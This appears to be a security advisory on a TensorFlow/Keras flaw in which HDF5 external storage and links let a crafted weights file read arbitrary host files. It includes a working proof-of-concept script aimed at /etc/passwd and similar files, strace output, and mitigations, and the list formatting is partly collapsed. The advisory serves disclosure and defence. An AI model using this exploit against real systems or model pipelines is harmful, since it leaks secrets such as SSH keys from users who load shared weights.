TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct load_weights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).
/etc/hosts, /etc/passwd, /etc/hostname).model.load_weights() or tf.keras.models.load_model() on an attacker-supplied HDF5 weights file or .keras archive./home/<user>/.ssh/id_rsa, /etc/shadow if readable, configuration files containing API keys, etc.).model.load_weights() (or tf.keras.models.load_model() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors..keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.load_model(..., safe_mode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization./etc/hostname) can reduce impact, but common defaults expose a broad set of host files.python -m pip install -U ...):
tensorflow==2.20.0keras==3.11.3h5py==3.15.1numpy==2.3.4strace (for syscall tracing), pip upgraded to latest before installs.PYTHONFAULTHANDLER=1, TF_CPP_MIN_LOG_LEVEL=0 during instrumentation to capture verbose logs if needed.weights_external_demo.py:from __future__ import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py
def choose_host_file() -> Path:
candidates = [
os.environ.get("KFLI_PATH"),
"/etc/machine-id",
"/etc/hostname",
"/proc/sys/kernel/hostname",
"/etc/passwd",
]
for candidate in candidates:
if not candidate:
continue
path = Path(candidate)
if path.exists() and path.is_file():
return path
raise FileNotFoundError("set KFLI_PATH to a readable file")
def build_model(units: int) -> tf.keras.Model:
model = tf.keras.Sequential([
tf.keras.layers.Input(shape=(1,), name="input"),
tf.keras.layers.Dense(units, activation=None, use_bias=True, name="dense"),
])
model(tf.zeros((1, 1))) # build weights
return model
def find_bias_dataset(h5file: h5py.File) -> str:
matches: list[str] = []
def visit(name: str, obj) -> None:
if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
matches.append(name)
h5file.visititems(visit)
if not matches:
raise RuntimeError("bias dataset not found")
return matches[0]
def rewrite_bias_external(path: Path, host_file: Path) -> tuple[int, int]:
with h5py.File(path, "r+") as h5file:
bias_path = find_bias_dataset(h5file)
parent = h5file[str(Path(bias_path).parent)]
dset_name = Path(bias_path).name
del parent[dset_name]
max_bytes = 128
size = host_file.stat().st_size
nbytes = min(size, max_bytes)
nbytes = (nbytes // 4) * 4 or 32 # multiple of 4 for float32 packing
units = max(1, nbytes // 4)
parent.create_dataset(
dset_name,
shape=(units,),
dtype="float32",
external=[(host_file.as_posix(), 0, nbytes)],
)
return units, nbytes
def floats_to_ascii(arr: np.ndarray) -> tuple[str, str]:
raw = np.ascontiguousarray(arr).view(np.uint8)
ascii_preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
hex_preview = raw[:64].tobytes().hex()
return ascii_preview, hex_preview
def main() -> None:
host_file = choose_host_file()
model = build_model(units=32)
weights_path = Path("weights_demo.h5")
model.save_weights(weights_path.as_posix())
units, nbytes = rewrite_bias_external(weights_path, host_file)
print("secret_text_source", host_file)
print("units", units, "bytes_mapped", nbytes)
model.load_weights(weights_path.as_posix())
output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
ascii_preview, hex_preview = floats_to_ascii(output)
print("recovered_ascii", ascii_preview)
print("recovered_hex64", hex_preview)
saved = Path("weights_demo_resaved.h5")
model.save_weights(saved.as_posix())
print("resaved_weights", saved.as_posix())
if __name__ == "__main__":
main()
python weights_external_demo.py.secret_text_source prints the chosen host file path.recovered_ascii/recovered_hex64 display the file contents recovered via model inference.The following test harness generalises the attack for multiple HDF5 constructs:
/etc/hosts.ExternalLink pointing at /etc/passwd./etc/hostname.strace -f -e trace=open,openat,read while calling model.load_weights(...).Relevant syscall excerpts captured during the run:
openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 7
read(7, "127.0.0.1 localhost\n", 64) = 21
...
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32
...
openat(AT_FDCWD, "/etc/hostname", O_RDONLY|O_CLOEXEC) = 8
read(8, "example-host\n", 64) = 13
The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.
get_external_count) before materialising tensors.SoftLink / ExternalLink targets and block if they leave the HDF5 file.allow_external_data=True flag or environment variable for advanced users who truly rely on HDF5 external storage.h5py to detect external datasets or links before invoking Keras loaders..npz) that lack external reference capabilities when exchanging weights.safe_keras_hdf5.py prototype guard.